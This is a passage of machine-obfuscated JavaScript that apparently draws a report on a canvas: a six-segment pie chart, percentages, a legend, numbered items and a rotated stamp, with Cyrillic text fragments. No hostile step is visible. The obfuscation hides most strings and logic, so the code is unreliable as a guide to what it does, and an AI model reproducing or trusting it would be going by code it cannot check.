N7_yM,-DosX_N7_yt,0,DosX_N7_yc)],Q[ne(DosX_N7_ys,DosX_N7_yT,0,DosX_N7_WR,-DosX_N7_yY)](DosX_N7_R,225,230),[{label:nn(0,DosX_N7_yA,DosX_N7_yw,0,DosX_N7_yc),value:y[nI(DosX_N7_yx,DosX_N7_Bp,0,DosX_N7_i0,DosX_N7_i1)+\"es\"][nD(DosX_N7_i2,0,DosX_N7_i4,DosX_N7_i5,DosX_N7_BF)+\"l\"],color:nD(DosX_N7_i6,0,DosX_N7_i8,DosX_N7_i9,DosX_N7_y8),shortLabel:\"A\"},{label:ne(DosX_N7_iB,DosX_N7_io,0,DosX_N7_Bc,DosX_N7_iW),value:y[ne(DosX_N7_iK,DosX_N7_ip,0,DosX_N7_iy,DosX_N7_ii)+\"es\"][nm(0,DosX_N7_iI,DosX_N7_ie,DosX_N7_iD,DosX_N7_im)],color:B[ne(DosX_N7_iP,DosX_N7_iC,0,DosX_N7_iX,DosX_N7_iN)],shortLabel:\"P\"},{label:nD(DosX_N7_iR,0,DosX_N7_iv,DosX_N7_ia,DosX_N7_Wf),value:y[nn(0,DosX_N7_ir,-DosX_N7_ib,0,DosX_N7_ik)+\"es\"][nI(DosX_N7_ih,DosX_N7_W1,0,DosX_N7_pz,DosX_N7_iH)+\"nt\"],color:nD(-DosX_N7_id,0,DosX_N7_iE,DosX_N7_il,DosX_N7_iF),shortLabel:\"I\"},{label:nn(0,DosX_N7_iM,DosX_N7_it,0,DosX_N7_KK)+nn(0,DosX_N7_is,DosX_N7_iT,0,DosX_N7_ym),value:y[nD(DosX_N7_iY,0,DosX_N7_iA,DosX_N7_iw,DosX_N7_pp)+\"es\"][nn(0,DosX_N7_iG,DosX_N7_u0,0,DosX_N7_oZ)],color:nm(0,DosX_N7_u3,DosX_N7_u4,DosX_N7_of,DosX_N7_u5),shortLabel:\"C\"},{label:nn(0,DosX_N7_u7,DosX_N7_u8,0,DosX_N7_y8),value:y[nn(0,DosX_N7_uo,DosX_N7_uq,0,DosX_N7_X)+\"es\"][nD(DosX_N7_uf,0,DosX_N7_up,-DosX_N7_uj,DosX_N7_uy)],color:nn(0,DosX_N7_uu,DosX_N7_uI,0,DosX_N7_pN),shortLabel:\"S\"},{label:ne(DosX_N7_uD,DosX_N7_un,0,DosX_N7_ql,DosX_N7_uP)+nI(DosX_N7_uC,DosX_N7_uU,0,DosX_N7_uN,DosX_N7_uR),value:y[nn(0,-DosX_N7_uv,DosX_N7_ua,0,DosX_N7_ur)+\"es\"][ne(DosX_N7_ub,DosX_N7_uQ,0,DosX_N7_iD,DosX_N7_uh)+nn(0,DosX_N7_uH,DosX_N7_ud,0,DosX_N7_uE)],color:nn(0,DosX_N7_uF,-DosX_N7_uS,0,DosX_N7_ut),shortLabel:\"K\"}]);Q[nm(0,DosX_N7_uc,DosX_N7_us,DosX_N7_uT,DosX_N7_uL)+\"le\"]=ne(DosX_N7_uY,DosX_N7_uJ,0,DosX_N7_uw,-DosX_N7_ux),Q[nI(-DosX_N7_uG,DosX_N7_Bp,0,DosX_N7_I1,DosX_N7_I2)]=30,Q[nD(DosX_N7_I3,0,DosX_N7_I5,DosX_N7_I6,DosX_N7_yN)](),Q[ne(-DosX_N7_I7,DosX_N7_I8,0,DosX_N7_IB,DosX_N7_Io)](225,480,140,0,2*Math.PI),Q[nI(DosX_N7_Iq,DosX_N7_IW,0,DosX_N7_IK,DosX_N7_Ip)]();let z=-Math.PI/2;DosX_N7_R[nD(-DosX_N7_Ij,0,DosX_N7_Ii,DosX_N7_Iu,DosX_N7_II)](Z=>{var J,G,B0,L,DosX_XZ={B:195,W:197,K:438,j:470};function nN(B,W,K,j,D){return ne(B-DosX_XM_B,W- -DosX_XM_W,0,D,D-DosX_XM_j)}function nX(B,W,K,j,D){return nI(B-DosX_Xt_B,B,0,W- -DosX_Xt_K,D-DosX_Xt_j)}function nU(B,W,K,j,D){return ne(B-DosX_XZ.B,K- -DosX_XZ.W,DosX_XZ.K,j,D-DosX_XZ.j)}function nP(B,W,K,j,D){return ne(B-DosX_Xc_B,K-DosX_Xc_W,0,W,D-DosX_Xc_j)}function nC(B,W,K){return nn(0,W-DosX_Xs_W,K-DosX_Xs_K,0,B)}B[nP(DosX_XT_B,DosX_XT_W,DosX_XT_K,0,DosX_XT_D)](nP(-DosX_XT_U,DosX_XT_X,DosX_XT_N,0,DosX_XT_V),nU(DosX_XT_O,0,DosX_XT_z,DosX_XT_H,DosX_XT_F))?(G=F[nX(DosX_XT_Z,DosX_XT_L,0,0,DosX_XT_G)](B[nC(DosX_XT_B0,DosX_XT_B1,DosX_XT_B2)]),(B0={})[nU(DosX_XT_B5,0,DosX_XT_B7,DosX_XT_B8,DosX_XT_B9)]=nC(DosX_XT_B0,DosX_XT_BB,DosX_XT_Bo),B0[nX(DosX_XT_Bf,DosX_XT_BK,0,0,DosX_XT_By)]=nP(DosX_XT_Bi,DosX_XT_Bu,DosX_XT_BI,0,DosX_XT_BD),B0[nC(DosX_XT_Bn,DosX_XT_Bm,DosX_XT_BP)]=nP(DosX_XT_BX,DosX_XT_BN,DosX_XT_BR,0,DosX_XT_Bv),B0[nU(DosX_XT_Ba,0,DosX_XT_Br,DosX_XT_Bb,DosX_XT_BQ)]=nU(DosX_XT_Bk,0,DosX_XT_Bz,DosX_XT_BH,DosX_XT_Bd),B0[nU(DosX_XT_Bg,0,DosX_XT_Bl,DosX_XT_BF,DosX_XT_BS)]=nC(DosX_XT_X,DosX_XT_BM,DosX_XT_Bt),G&&(Z=L[nN(DosX_XT_Bs,DosX_XT_BT,0,0,DosX_XT_BJ)](G),Y=J[nN(DosX_XT_BA,DosX_XT_Bw,0,0,DosX_XT_o0)],G=B0[nC(DosX_XT_o1,DosX_XT_o2,DosX_XT_o3)],B[nP(DosX_XT_o6,DosX_XT_W,DosX_XT_o7,0,DosX_XT_o9)](B1,nN(-DosX_XT_oB,DosX_XT_oo,0,0,DosX_XT_of)+nN(DosX_XT_oK,DosX_XT_op,0,0,DosX_XT_BN)),B2(B3),G=B4[nC(DosX_XT_oi,DosX_XT_ou,DosX_XT_oI)+nP(DosX_XT_on,DosX_XT_Bf,DosX_XT_om,0,DosX_XT_oC)](B[nX(DosX_XT_oU,DosX_XT_oX,0,0,DosX_XT_oV)]),(J=B5[nN(DosX_XT_ov,DosX_XT_oa,0,0,DosX_XT_ob)+nN(DosX_XT_oQ,DosX_XT_ok,0,0,DosX_XT_BJ)](B[nP(DosX_XT_oH,DosX_XT_od,DosX_XT_og,0,DosX_XT_ol)]))[nC(DosX_XT_oF,DosX_XT_oS,DosX_XT_oM)]=B[nU(DosX_XT_oc,0,DosX_XT_oT,DosX_XT_oL,DosX_XT_oY)],J[nC(DosX_XT_oJ,DosX_XT_oA,DosX_XT_ow)]=nN(DosX_XT_q0,DosX_XT_q1,0,0,DosX_XT_q4)+nX(DosX_XT_q5,DosX_XT_q6,0,0,DosX_XT_q9)+nN(DosX_XT_qB,DosX_XT_qo,0,0,DosX_XT_qf)+nP(DosX_XT_qK,DosX_XT_qp,DosX_XT_qj,0,-DosX_XT_qi)+nX(DosX_XT_qu,DosX_XT_qI,0,0,DosX_XT_qn)+new B6(B7[nU(-DosX_XT_qm,0,DosX_XT_qC,DosX_XT_qU,DosX_XT_qX)])[nP(DosX_XT_qN,DosX_XT_qR,DosX_XT_qV,0,DosX_XT_qa)+nX(DosX_XT_q5,DosX_XT_qO,0,0,DosX_XT_qQ)](nP(DosX_XT_qk,DosX_XT_qh,DosX_XT_qz,0,-DosX_XT_qd),B0)+(nC(DosX_XT_qg,DosX_XT_qE,DosX_XT_ql)+nC(DosX_XT_qM,DosX_XT_qt,DosX_XT_qZ)),G[nC(DosX_XT_qT,DosX_XT_qL,DosX_XT_qY)+nP(DosX_XT_qw,DosX_XT_qx,DosX_XT_qG,0,DosX_XT_W1)](J,G[nC(DosX_XT_W2,DosX_XT_W3,DosX_XT_W4)+\"d\"]))):(L=2*B[nP(DosX_XT_W7,DosX_XT_W,DosX_XT_W8,0,DosX_XT_WB)](Z[nU(DosX_XT_Wo,0,DosX_XT_WW,DosX_XT_Wf,DosX_XT_WK)]/100,Math.PI),Q[nU(DosX_XT_Wp,0,DosX_XT_Wy,DosX_XT_Wi,DosX_XT_Wu)+\"le\"]=Z[nC(DosX_XT_WI,DosX_XT_We,DosX_XT_WD)],Q[nP(DosX_XT_WP,DosX_XT_qT,DosX_XT_WC,0,DosX_XT_WX)]=30,Q[nP(DosX_XT_WN,DosX_XT_WR,DosX_XT_WV,0,DosX_XT_Wa)]=nX(DosX_XT_oL,DosX_XT_WO,0,0,DosX_XT_WQ),Q[nX(DosX_XT_Wk,DosX_XT_Wh,0,0,DosX_XT_Wd)](),Q[nC(DosX_XT_Wg,DosX_XT_WE,DosX_XT_Wl)](225,480,140,z,B[nX(DosX_XT_WM,DosX_XT_Wt,0,0,DosX_XT_Ws)](z,L)),Q[nU(DosX_XT_WT,0,DosX_XT_WY,DosX_XT_WJ,DosX_XT_WA)](),z+=L)});DosX_N7_V=Math[nn(0,DosX_N7_ID,DosX_N7_In,0,DosX_N7_iD)]((B[ne(DosX_N7_IP,DosX_N7_IC,0,DosX_N7_IX,DosX_N7_IN)](y[ne(-DosX_N7_IR,DosX_N7_IV,0,DosX_N7_Ia,DosX_N7_IO)+\"es\"][nn(0,DosX_N7_Ib,DosX_N7_IQ,0,DosX_N7_Ih)+\"l\"]+y[ne(DosX_N7_Iz,DosX_N7_fw,0,DosX_N7_je,DosX_N7_Id)+\"es\"][ne(DosX_N7_Ig,DosX_N7_IE,0,DosX_N7_jh,DosX_N7_IF)]+y[nD(DosX_N7_IS,0,DosX_N7_It,DosX_N7_IZ,DosX_N7_Wl)+\"es\"][nm(0,DosX_N7_Is,DosX_N7_IT,DosX_N7_IL,DosX_N7_IY)+\"nt\"],y[nD(DosX_N7_IJ,0,DosX_N7_Iw,DosX_N7_Ix,DosX_N7_IG)+\"es\"][nm(0,DosX_N7_W9,DosX_N7_e1,DosX_N7_e2,-DosX_N7_e3)])+y[nD(DosX_N7_e4,0,DosX_N7_e6,DosX_N7_e7,DosX_N7_W)+\"es\"][nn(0,DosX_N7_e8,DosX_N7_e9,0,DosX_N7_uT)]+y[nm(0,DosX_N7_eD,DosX_N7_en,DosX_N7_X,DosX_N7_em)+\"es\"][ne(DosX_N7_ms,DosX_N7_mT,0,DosX_N7_mL,DosX_N7_mY)+ne(DosX_N7_mJ,DosX_N7_mA,0,DosX_N7_Wk,DosX_N7_mx)])/6);Q[nm(0,DosX_N7_mG,DosX_N7_P0,DosX_N7_P1,DosX_N7_oE)]=ne(DosX_N7_uA,DosX_N7_P2,0,DosX_N7_P4,DosX_N7_P5),Q[nm(0,DosX_N7_P7,DosX_N7_P8,DosX_N7_P9,DosX_N7_PB)](),Q[nn(0,DosX_N7_Pq,DosX_N7_PW,0,DosX_N7_PK)](225,480,100,0,2*Math.PI),Q[nD(DosX_N7_Pp,0,DosX_N7_Py,DosX_N7_Pi,DosX_N7_Pu)](),Q[nn(0,DosX_N7_Pe,DosX_N7_PD,0,DosX_N7_KX)]=nm(0,DosX_N7_PP,DosX_N7_PC,DosX_N7_PU,DosX_N7_PX)+ne(DosX_N7_PN,DosX_N7_pO,0,DosX_N7_PV,DosX_N7_Pv)+ne(-DosX_N7_Pa,DosX_N7_o6,0,DosX_N7_Pr,DosX_N7_Pb)+ne(DosX_N7_PQ,DosX_N7_Pk,0,DosX_N7_Pz,DosX_N7_io),Q[nD(DosX_N7_PH,0,DosX_N7_Pg,DosX_N7_PE,DosX_N7_Pl)]=nD(-DosX_N7_PF,0,DosX_N7_PM,-DosX_N7_Pt,DosX_N7_PZ),Q[nI(DosX_N7_Pc,DosX_N7_fU,0,DosX_N7_PT,DosX_N7_PL)]=ne(DosX_N7_PY,DosX_N7_PJ,0,DosX_N7_Pw,DosX_N7_Px),Q[ne(DosX_N7_PG,DosX_N7_C0,0,DosX_N7_C2,DosX_N7_C3)+nI(DosX_N7_C4,DosX_N7_C5,0,DosX_N7_C7,DosX_N7_C8)]=nn(0,DosX_N7_CB,DosX_N7_Co,0,DosX_N7_o9),Q[nD(DosX_N7_CW,0,DosX_N7_CK,DosX_N7_Cp,DosX_N7_Cj)](DosX_N7_V+\"%\",225,470),Q[nn(0,DosX_N7_Ci,DosX_N7_Cu,0,DosX_N7_Ce)]=nD(DosX_N7_CD,0,DosX_N7_Cm,DosX_N7_CP,DosX_N7_CC)+ne(DosX_N7_CU,DosX_N7_CX,0,DosX_N7_CR,DosX_N7_CV)+nn(0,DosX_N7_Ca,-DosX_N7_CO,0,DosX_N7_PU)+\"if\",Q[nI(DosX_N7_Cb,DosX_N7_CQ,0,DosX_N7_Ch,DosX_N7_Cz)]=nI(DosX_N7_CH,DosX_N7_Cd,0,DosX_N7_CE,DosX_N7_Cl),Q[nD(DosX_N7_CF,0,DosX_N7_CM,DosX_N7_ye,DosX_N7_fB)](nI(DosX_N7_Ct,DosX_N7_CZ,0,DosX_N7_Cs,DosX_N7_CT)+\"Л\",225,505);let H=660,F=(DosX_N7_R[ne(DosX_N7_CL,DosX_N7_CY,0,DosX_N7_Bk,DosX_N7_CA)]((Z,L)=>{var DosX_Xw={B:261,W:30,K:1606,j:376},DosX_XJ={B:491,W:66,K:667,j:64},DosX_XL={B:243,W:101,K:379,j:371};function nO(B,W,K,j,D){return nI(B-DosX_XL.B,B,DosX_XL.W,D- -DosX_XL.K,D-DosX_XL.j)}function nR(B,W,K,j,D){return ne(B-DosX_XY_B,D- -DosX_XY_W,0,W,D-DosX_XY_j)}function nV(B,W,K,j,D){return nI(B-DosX_XJ.B,j,DosX_XJ.W,D- -DosX_XJ.K,D-DosX_XJ.j)}function na(B,W,K,j,D){return nD(B-DosX_XA_B,0,D-DosX_XA_K,j-DosX_XA_j,K)}function nv(B,W,K,j,D){return nD(B-DosX_Xw.B,DosX_Xw.W,D-DosX_Xw.K,j-DosX_Xw.j,j)}Q[nR(-DosX_Xx_B,DosX_Xx_W,0,0,-DosX_Xx_D)]=Z[nR(-DosX_Xx_U,DosX_Xx_X,0,0,DosX_Xx_V)],Q[nR(DosX_Xx_O,DosX_Xx_Q,0,0,DosX_Xx_F)](80,H-12,16,16),Q[na(DosX_Xx_Z,0,DosX_Xx_Y,DosX_Xx_J,DosX_Xx_G)]=na(-DosX_Xx_B0,0,DosX_Xx_B2,DosX_Xx_B3,DosX_Xx_B4)+nO(DosX_Xx_B5,0,0,0,DosX_Xx_B9)+nR(DosX_Xx_BB,DosX_Xx_Bo,0,0,DosX_Xx_Bf)+\"if\",Q[nR(DosX_Xx_BK,DosX_Xx_Bp,0,0,DosX_Xx_Bi)]=nv(DosX_Xx_Bu,0,0,DosX_Xx_BD,DosX_Xx_Bn),Q[nR(DosX_Xx_Bm,DosX_Xx_BP,0,0,DosX_Xx_BX)]=nV(DosX_Xx_BN,0,0,DosX_Xx_Bv,DosX_Xx_Ba),Q[nv(DosX_Xx_BO,0,0,DosX_Xx_Y,DosX_Xx_BQ)](Z[nO(DosX_Xx_X,0,0,0,DosX_Xx_BH)],105,H),Q[nO(DosX_Xx_Bd,0,0,0,DosX_Xx_BF)]=B[nO(DosX_Xx_BS,0,0,0,DosX_Xx_Bc)],Q[nV(DosX_Xx_Bs,0,0,DosX_Xx_BY,DosX_Xx_BJ)]=nV(-DosX_Xx_BA,0,0,DosX_Xx_BG,DosX_Xx_o0),Q[nV(DosX_Xx_o1,0,0,DosX_Xx_o4,DosX_Xx_o5)]=nR(-DosX_Xx_o6,DosX_Xx_Bv,0,0,DosX_Xx_o9),Q[nR(DosX_Xx_oB,DosX_Xx_Bo,0,0,DosX_Xx_oW)](Z[nV(DosX_Xx_of,0,0,DosX_Xx_oj,DosX_Xx_oy)]+\"%\",370,H),H+=35}),Q[nI(DosX_N7_Cw,DosX_N7_ps,0,DosX_N7_Cx,-DosX_N7_CG)]=nI(DosX_N7_U0,DosX_N7_C5,0,DosX_N7_U2,DosX_N7_U3)+ne(DosX_N7_U4,DosX_N7_pO,0,DosX_N7_U6,DosX_N7_U7)+ne(DosX_N7_U8,DosX_N7_U9,0,DosX_N7_Uo,DosX_N7_Uq)+nn(0,DosX_N7_Uf,DosX_N7_UK,0,DosX_N7_Uj),Q[nn(0,DosX_N7_Ui,DosX_N7_Uu,0,DosX_N7_fU)]=nD(DosX_N7_Ue,0,DosX_N7_Un,DosX_N7_Um,DosX_N7_UP),Q[nm(0,DosX_N7_UU,DosX_N7_UX,DosX_N7_UN,DosX_N7_UR)]=nD(DosX_N7_Wh,0,DosX_N7_Uv,DosX_N7_Ua,DosX_N7_UO),Q[nI(DosX_N7_Ur,DosX_N7_Wr,0,DosX_N7_UQ,DosX_N7_Uk)](nD(DosX_N7_Uh,0,DosX_N7_UH,DosX_N7_Ud,DosX_N7_Ug)+\"ль\",500,100),DosX_N7_V=y[nn(0,DosX_N7_Ul,DosX_N7_UF,0,DosX_N7_qb)],Q[ne(DosX_N7_UM,DosX_N7_Ut,0,DosX_N7_Uc,DosX_N7_fR)]=nI(DosX_N7_Us,DosX_N7_oD,0,DosX_N7_UL,DosX_N7_UY)+nI(DosX_N7_IU,DosX_N7_UJ,0,DosX_N7_Uw,DosX_N7_Ux)+nI(DosX_N7_UG,DosX_N7_X0,0,DosX_N7_X2,DosX_N7_Pe)+\"if\",Q[nm(0,DosX_N7_X4,DosX_N7_ic,DosX_N7_oQ,DosX_N7_X5)]=B[nn(0,DosX_N7_X7,DosX_N7_X8,0,DosX_N7_XB)],Q[ne(DosX_N7_Xo,DosX_N7_Xq,0,DosX_N7_Xf,DosX_N7_XK)]=B[nD(DosX_N7_Xp,0,DosX_N7_Xy,DosX_N7_Xi,DosX_N7_Bf)],DosX_N7_R=S(Q,DosX_N7_V[ne(DosX_N7_iw,DosX_N7_Xu,0,DosX_N7_q1,DosX_N7_Xe)+\"on\"],500,145,850,28)+40,Q[nm(0,DosX_N7_Xn,DosX_N7_Xm,DosX_N7_XP,DosX_N7_XC)+\"le\"]=nm(0,DosX_N7_XX,DosX_N7_XN,DosX_N7_XR,DosX_N7_XV),Q[nm(0,DosX_N7_Xa,DosX_N7_XO,DosX_N7_Xr,DosX_N7_Xb)]=1,Q[nm(0,DosX_N7_XQ,DosX_N7_Xk,DosX_N7_Ku,DosX_N7_Xh)](),Q[ne(DosX_N7_Xz,DosX_N7_XH,0,DosX_N7_CC,DosX_N7_Xg)](500,DosX_N7_R),Q[nn(0,DosX_N7_Xl,DosX_N7_XF,0,DosX_N7_XM)](DosX_N7_U[ne(DosX_N7_Xt,DosX_N7_XZ,0,DosX_N7_Xs,DosX_N7_XT)]-50,DosX_N7_R),Q[nm(0,DosX_N7_XY,DosX_N7_XJ,DosX_N7_fM,DosX_N7_UD)](),DosX_N7_R+=65,Q[nm(0,DosX_N7_Xw,DosX_N7_Xx,DosX_N7_jy,DosX_N7_XG)]=nI(DosX_N7_N0,DosX_N7_N1,0,DosX_N7_N3,DosX_N7_N4)+nn(0,DosX_N7_N6,DosX_N7_N7,0,DosX_N7_qb)+nm(0,DosX_N7_NB,DosX_N7_No,DosX_N7_ur,DosX_N7_Nq)+ne(DosX_N7_NW,DosX_N7_Nf,0,DosX_N7_W,DosX_N7_Np),Q[nm(0,DosX_N7_Ny,DosX_N7_Ni,DosX_N7_Nu,DosX_N7_NI)]=nD(DosX_N7_UH,0,DosX_N7_ND,DosX_N7_Nn,DosX_N7_P9),Q[nn(0,DosX_N7_NP,DosX_N7_NC,0,DosX_N7_NX)](nm(0,DosX_N7_NR,DosX_N7_NV,DosX_N7_B6,DosX_N7_Nv)+nm(0,DosX_N7_NO,DosX_N7_Nr,DosX_N7_fM,DosX_N7_Nb),500,DosX_N7_R),B[nm(0,DosX_N7_Nk,DosX_N7_Nh,DosX_N7_Nu,DosX_N7_pf)](DosX_N7_R,60));DosX_N7_V[nn(0,DosX_N7_NH,DosX_N7_Nd,0,DosX_N7_pH)+nD(DosX_N7_NE,0,DosX_N7_NF,DosX_N7_NS,DosX_N7_NM)][nm(0,DosX_N7_NZ,DosX_N7_Nc,DosX_N7_Ns,DosX_N7_NT)](0,5)[nm(0,DosX_N7_NY,DosX_N7_NJ,DosX_N7_NA,DosX_N7_Nw)]((Z,L)=>{var DosX_N5_W=\"KEHY\",DosX_N5_K=1783,DosX_N5_D=4965,DosX_N4_W=145,DosX_N4_j=255,DosX_N3={B:330,W:1349,K:91,j:437},DosX_N2={B:2,W:1353,K:301,j:408};function nh(B,W,K,j){return nn(0,j-DosX_XG_W,K-DosX_XG_K,0,B)}function nQ(B,W,K,j,D){return nn(0,D-DosX_N0_W,K-DosX_N0_K,0,B)}function nb(B,W,K){return nn(0,B- -DosX_N1_W,K-DosX_N1_K,0,W)}function nr(B,W,K,j,D){return nm(DosX_N2.B,B- -DosX_N2.W,K-DosX_N2.K,K,D-DosX_N2.j)}function nk(B,W,K,j,D){return nm(DosX_N3.B,W- -DosX_N3.W,K-DosX_N3.K,B,D-DosX_N3.j)}Q[nr(DosX_N6_B,0,DosX_N6_K,0,DosX_N6_D)]=nb(DosX_N6_U,DosX_N6_X,DosX_N6_N),Q[nQ(DosX_N6_O,0,DosX_N6_z,0,DosX_N6_F)](),Q[nQ(DosX_N6_Z,0,DosX_N6_Y,0,DosX_N6_G)](514,F,16,0,2*Math.PI),Q[nk(DosX_N6_B0,DosX_N6_B1,DosX_N6_B2,0,-DosX_N6_B4)](),Q[nb(DosX_N6_B5,DosX_N6_B6,DosX_N6_B7)]=B[nr(DosX_N6_BB,0,DosX_N6_Bq,0,DosX_N6_Bf)],Q[nQ(DosX_N6_BK,0,DosX_N6_Bj,0,DosX_N6_Bi)]=nk(DosX_N6_Bu,DosX_N6_BI,-DosX_N6_Be,0,DosX_N6_Bn),Q[nk(DosX_N6_Bm,DosX_N6_BP,DosX_N6_BC,0,DosX_N6_BX)]=nQ(DosX_N6_BN,0,DosX_N6_BV,0,DosX_N6_Ba),Q[nr(DosX_N6_BO,0,DosX_N6_Bb,0,DosX_N6_Bk)+nr(DosX_N6_Bh,0,DosX_N6_BH,0,DosX_N6_Bg)]=nQ(DosX_N6_BE,0,DosX_N6_BF,0,DosX_N6_BM),Q[nk(DosX_N6_Bt,DosX_N6_BZ,DosX_N6_Bc,0,DosX_N6_BT)](\"\"+B[nr(DosX_N6_BL,0,DosX_N6_BJ,0,DosX_N6_Bw)](L,1),514,F),Q[nk(DosX_N6_Bx,DosX_N6_BG,DosX_N6_o0,0,DosX_N6_o2)]=B[nr(DosX_N6_o3,0,DosX_N6_o5,0,DosX_N6_o7)],Q[nQ(DosX_N6_o8,0,-DosX_N6_oB,0,DosX_N6_oq)]=B[nh(DosX_N6_oW,0,DosX_N6_oK,DosX_N6_op)],Q[nk(DosX_N6_Bm,DosX_N6_oy,DosX_N6_oi,0,DosX_N6_oI)]=nk(DosX_N6_oe,DosX_N6_oD,DosX_N6_on,0,DosX_N6_oP),Q[nh(DosX_N6_oC,0,DosX_N6_oX,DosX_N6_oN)+nb(DosX_N6_oV,DosX_N6_ov,DosX_N6_oa)]=nr(DosX_N6_ob,0,DosX_N6_ok,0,DosX_N6_oz)+\"c\",(L=T(Q,Z,790))[nQ(DosX_N6_oH,0,DosX_N6_og,0,DosX_N6_ol)]((Y,J)=>{Q[nQ(DosX_N5_W,0,DosX_N5_K-DosX_N4_W,0,DosX_N5_D-DosX_N4_j)](Y,545,F+24*J+(0===J?5:0))}),F+=B[nr(DosX_N6_oF,0,DosX_N6_o8,0,DosX_N6_ot)](24*L[nr(DosX_N6_oZ,0,DosX_N6_os,0,DosX_N6_oL)],28)}),Q[nm(0,DosX_N7_NG,DosX_N7_R0,DosX_N7_fM,DosX_N7_R1)]=nm(0,DosX_N7_R3,-DosX_N7_R4,DosX_N7_BD,DosX_N7_R5)+nn(0,DosX_N7_R7,DosX_N7_R8,0,DosX_N7_KK)+ne(DosX_N7_R9,DosX_N7_RB,0,DosX_N7_ql,DosX_N7_Rq)+\"if\",Q[nm(0,DosX_N7_Rf,DosX_N7_RK,DosX_N7_Kx,DosX_N7_Rp)]=nD(DosX_N7_Rj,0,DosX_N7_Ri,DosX_N7_Ru,DosX_N7_XB),Q[ne(DosX_N7_RI,DosX_N7_u9,0,DosX_N7_RD,DosX_N7_Rn)]=B[nn(0,DosX_N7_RP,DosX_N7_RC,0,DosX_N7_RX)],Q[nI(DosX_N7_RN,DosX_N7_RR,0,DosX_N7_Ul,DosX_N7_Rv)](ne(DosX_N7_Ra,DosX_N7_RO,0,DosX_N7_Rb,DosX_N7_RQ)+nI(DosX_N7_Rk,DosX_N7_fE,0,DosX_N7_Rz,DosX_N7_oL)+ne(DosX_N7_RH,DosX_N7_Rd,0,DosX_N7_RE,DosX_N7_Rl)+nD(DosX_N7_RF,0,DosX_N7_RM,DosX_N7_Rt,DosX_N7_RZ),DosX_N7_U[nD(DosX_N7_Rc,0,DosX_N7_RT,DosX_N7_RL,DosX_N7_RY)]/2,DosX_N7_U[nI(DosX_N7_RJ,DosX_N7_RA,0,DosX_N7_Rx,DosX_N7_RG)]-30);var DosX_N7_V=(DosX_N7_R=B[nD(DosX_N7_V0,0,DosX_N7_V2,DosX_N7_V3,DosX_N7_ut)](E,y))[nI(DosX_N7_V4,DosX_N7_V5,0,DosX_N7_V7,DosX_N7_V8)],DosX_N7_O=(Q[ne(DosX_N7_V9,DosX_N7_VB,0,DosX_N7_Vq,DosX_N7_VW)](),DosX_N7_U[nD(DosX_N7_Vf,0,DosX_N7_y4,DosX_N7_Vp,DosX_N7_Vj)]-150),DosX_N7_Q=DosX_N7_U[nn(0,DosX_N7_Vi,DosX_N7_Vu,0,DosX_N7_fM)]-130,X=(Q[nI(DosX_N7_Ve,DosX_N7_je,0,DosX_N7_o4,DosX_N7_Vn)](DosX_N7_O,DosX_N7_Q),Q[ne(DosX_N7_og,DosX_N7_Vm,0,DosX_N7_pH,-DosX_N7_VC)](-20*Math.PI/180),Q[nI(DosX_N7_VU,DosX_N7_VX,0,DosX_N7_VR,DosX_N7_VV)+\"le\"]=ne(DosX_N7_Vv,DosX_N7_Va,0,DosX_N7_Vr,-DosX_N7_Vb)+nm(0,DosX_N7_Vk,DosX_N7_Vh,DosX_N7_Vz,DosX_N7_VH)+nI(DosX_N7_Vd,DosX_N7_Vg,0,DosX_N7_Vl,DosX_N7_VF),Q[nn(0,-DosX_N7_VM,-DosX_N7_Vt,0,DosX_N7_Vr)]=4,Q[nn(0,DosX_N7_Vs,DosX_N7_VT,0,DosX_N7_CC)](),Q[nD(DosX_N7_VY,0,DosX_N7_VA,DosX_N7_Vw,DosX_N7_Ku)](0,0,80,0,B[ne(DosX_N7_Vx,DosX_N7_VG,0,DosX_N7_v1,DosX_N7_v2)](2,Math.PI)),Q[nn(0,DosX_N7_v4,DosX_N7_v5,0,DosX_N7_oD)](),Q[ne(DosX_N7_v7,DosX_N7_Re,0,DosX_N7_v8,DosX_N7_v9)+\"le\"]=nD(DosX_N7_vB,0,DosX_N7_vq,DosX_N7_vW,DosX_N7_pr)+nn(0,DosX_N7_vK,DosX_N7_vp,0,DosX_N7_jy)+nI(DosX_N7_vy,DosX_N7_vi,0,DosX_N7_vI,DosX_N7_ve),Q[nm(0,DosX_N7_vn,DosX_N7_vm,DosX_N7_vP,DosX_N7_vC)]=2,Q[nI(DosX_N7_vU,DosX_N7_Bp,0,DosX_N7_vN,DosX_N7_vR)](),Q[nI(DosX_N7_vV,DosX_N7_CC,0,DosX_N7_va,DosX_N7_vO)](0,0,68,0,B[nm(0,DosX_N7_vb,DosX_N7_vQ,DosX_N7_vk,DosX_N7_vh)](2,Math.PI)),Q[nD(DosX_N7_vz,0,DosX_N7_vd,DosX_N7_vg,DosX_N7_pp)](),Q[nI(DosX_N7_vE,DosX_N7_yB,0,DosX_N7_vF,DosX_N7_vS)+\"le\"]=nI(DosX_N7_vM,DosX_N7_vt,0,DosX_N7_vc,DosX_N7_vs)+nD(DosX_N7_vT,0,DosX_N7_vY,DosX_N7_vJ,DosX_N7_vA)+nI(DosX_N7_vw,DosX_N7_L,0,DosX_N7_yw,DosX_N7_vG),Q[nI(DosX_N7_a0,DosX_N7_yN,0,DosX_N7_a2,DosX_N7_a3)]=1,Q[nI(DosX_N7_a4,DosX_N7_qI,0,DosX_N7_Vm,DosX_N7_a6)](),Q[nD(DosX_N7_a7,0,DosX_N7_VA,DosX_N7_a9,DosX_N7_Vg)](0,0,58,0,2*Math.PI),Q[nn(0,DosX_N7_ao,DosX_N7_aq,0,DosX_N7_RA)](),Q[ne(DosX_N7_af,DosX_N7_aK,0,DosX_N7_aj,DosX_N7_ay)]=B[nn(0,DosX_N7_UV,-DosX_N7_au,0,DosX_N7_ae)],Q[ne(DosX_N7_aD,DosX_N7_an,0,DosX_N7_aP,DosX_N7_aC)](),Q[nm(0,DosX_N7_aX,DosX_N7_aN,DosX_N7_aR,DosX_N7_aV)](0,0,80,0,2*Math.PI),Q[nD(DosX_N7_av,0,DosX_N7_aO,DosX_N7_ar,DosX_N7_NA)](),Q[nD(-DosX_N7_ab,0,DosX_N7_ak,DosX_N7_ah,DosX_N7_BD)]=B[nn(0,DosX_N7_aH,DosX_N7_ad,0,DosX_N7_Kx)],Q[ne(DosX_N7_aE,DosX_N7_al,0,DosX_N7_NX,DosX_N7_aS)+nI(DosX_N7_aM,DosX_N7_at,0,DosX_N7_ac,DosX_N7_as)]=B[nD(DosX_N7_aT,0,DosX_N7_aY,DosX_N7_aJ,DosX_N7_aj)],Q[ne(-DosX_N7_aA,-DosX_N7_aO,0,DosX_N7_aw,DosX_N7_ax)]=B[nI(DosX_N7_aG,DosX_N7_O0,0,DosX_